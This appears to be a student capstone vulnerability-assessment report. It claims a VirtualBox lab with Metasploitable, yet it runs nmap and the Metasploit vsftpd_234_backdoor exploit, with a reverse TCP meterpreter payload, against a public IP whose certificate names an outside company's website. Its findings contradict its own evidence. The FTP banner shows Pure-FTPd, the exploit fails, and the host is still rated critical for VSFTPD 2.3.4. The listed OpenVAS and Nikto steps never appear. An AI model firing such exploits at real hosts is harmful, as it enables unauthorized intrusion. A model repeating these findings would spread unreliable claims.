Task: Capstone Project
Name: Kavita Prajapati

Introduction:

The **VSFTPD (Very Secure FTP Daemon) 2.3.4 vulnerability** is a well-known critical security flaw that allows attackers to gain unauthorized remote access to a system. This issue was introduced due to a **malicious backdoor** that was secretly added to the source code of the software in 2011.

Information:

Item	Details
Project Title	Vulnerability Assessment of Metasploitable and Kali Linux Environment
Assessment Type	Vulnerability Assessment Lab
Tools Used	Kali Linux, Nmap, Metasploit
Testing Environment	VirtualBox Lab
Date	06/04/2026

Tool	Purpose
Kali Linux	Security testing platform
Nmap	Port Scanning
Metasploit	Privilage Escalation

Methodology:

The vulnerability assessment followed a structured process consisting of the following phases:

1. Environment setup using virtual machines
2. Vulnerability scanning using OpenVAS
3. Web server analysis using Nikto
4. Risk assessment using CVSS scoring
5. Documentation and reporting of findings

The below table gives a brief description of each risk rating visualized in this report.

Impact	CVSS Score	Definition
Critical	9.0 – 10.0	Critical vulnerabilities are the highest level of security risks, demanding immediate attention and mitigation within an organization. They pose an imminent and severe threat, with the potential for unauthorized access, data breaches, or significant system compromise. Swift remediation is crucial to maintain robust security.
High	7.0 – 8.9	High severity vulnerabilities should be considered a top priority in terms of mitigation. These are the most severe issues and generally cause an immediate security concern to the enterprise
Medium	4.0 – 6.9	Medium severity vulnerabilities are a lower priority but should still be remediated in a timely manner. These are moderate exploits that have less of an impact on the environment.
Low	0.1 – 3.9	Low severity vulnerabilities are real but trivially impactful to the environment. These should only be remediated after the

		HIGH and MEDIUM vulnerabilities are resolved.
Informational	0.0	Informational vulnerabilities have no impact as such to the environment by themselves. However, they might provide an attacker with information to exploit other vulnerabilities.

The following control areas are the easiest to exploit or expose the environment to the highest level of risk:

Sr. No.	Vulnerability Name	Severity Level
1	VSFTPD Backdoor Remote Code Execution (RCE)	**Critical**
2	Information Disclosure via SSL Certificate	**Low**

Vulnerability Details:

Sr.No. 1	**Name of Vulnerability:** VSFTPD Backdoor Remote Code Execution (RCE)	**CWE Details:** CWE-912
Critical	**CVSS Score:** 9.8	
Vulnerable IP: 47.107.142.36		

Description: The target system is running **VSFTPD 2.3.4**, a version known to contain a malicious backdoor. When a specially crafted username containing :) is sent, the service opens a backdoor shell on port 6200.
This vulnerability allows attackers to execute arbitrary commands remotely without authentication.

Impact:

- Full system compromise
- Unauthorized remote access
- Data theft or destruction
- Privilege escalation
- Malware deployment

```
└─# nmap -sV 47.107.142.36

Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-06 05:16 -0400
Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 0.50% done
Nmap scan report for 47.107.142.36
Host is up (0.048s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT     STATE  SERVICE        VERSION
21/tcp   open   tcpwrapped
22/tcp   open   tcpwrapped
80/tcp   open   tcpwrapped
443/tcp  open   tcpwrapped
8888/tcp closed sun-answerbook
```

```
└─# ftp 47.107.142.36
Connected to 47.107.142.36.
220———————— Welcome to Pure-FTPd [privsep] [TLS] ————————
220-You are user number 2 of 50 allowed.
220-Local time is now 17:20. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
Name (47.107.142.36:kali): anonymous
331 User anonymous OK. Password required
Password:
530 Login authentication failed
ftp: Login failed
```

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   21               yes       The target port (TCP)
```

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS
RHOSTS =>
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 47.107.142.36
RHOSTS => 47.107.142.36
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  47.107.142.36    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   21               yes       The target port (TCP)
```

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[-] 47.107.142.36:21 - Msf::OptionValidateError One or more options failed to validate: LHOST.
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 10.0.2.15
LHOST => 10.0.2.15
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] Started reverse TCP handler on 10.0.2.15:4444
[!] 47.107.142.36:21 - Unable to connect to backdoor on 6200/TCP. Cooldown?
[*] Exploit completed, but no session was created.
```

Recommendation:

- Upgrade VSFTPD to latest version
- Remove vulnerable services
- Disable unnecessary services
- Use firewall to restrict FTP access
- Implement intrusion detection

Reference: https://nvd.nist.gov/vuln/detail/CVE-2011-2523

Sr.No. 2	**Name of Vulnerability:** Information Disclosure via SSL Certificate	**CWE Details:** CWE-200
Low	**CVSS Score:** 3.7	

Vulnerable IP: 47.107.142.36

Description: The SSL certificate reveals internal domain information.

Impact:
- Helps attackers map infrastructure
- Aids reconnaissance

PoC:

```
└─# nmap -sC -sV 47.107.142.36

Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-06 05:44 -0400
Nmap scan report for 47.107.142.36
Host is up (0.045s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT     STATE SERVICE    VERSION
21/tcp   open  tcpwrapped
22/tcp   open  tcpwrapped
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp   open  tcpwrapped
|_http-server-header: nginx
443/tcp open  tcpwrapped
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx
| ssl-cert: Subject: commonName=www.jzbtech.com
| Subject Alternative Name: DNS:jzbtech.com, DNS:www.jzbtech.com
| Not valid before: 2026-03-17T01:58:58
|_Not valid after:  2026-06-15T01:58:57
| tls-nextprotoneg:
|   h2
|_  http/1.1
| tls-alpn:
|   h2
|_  http/1.1
```

Recommendation:
- Avoid exposing unnecessary domain details
- Use minimal certificate info□ Disable unnecessary services

Reference: https://cwe.mitre.org/data/definitions/200.html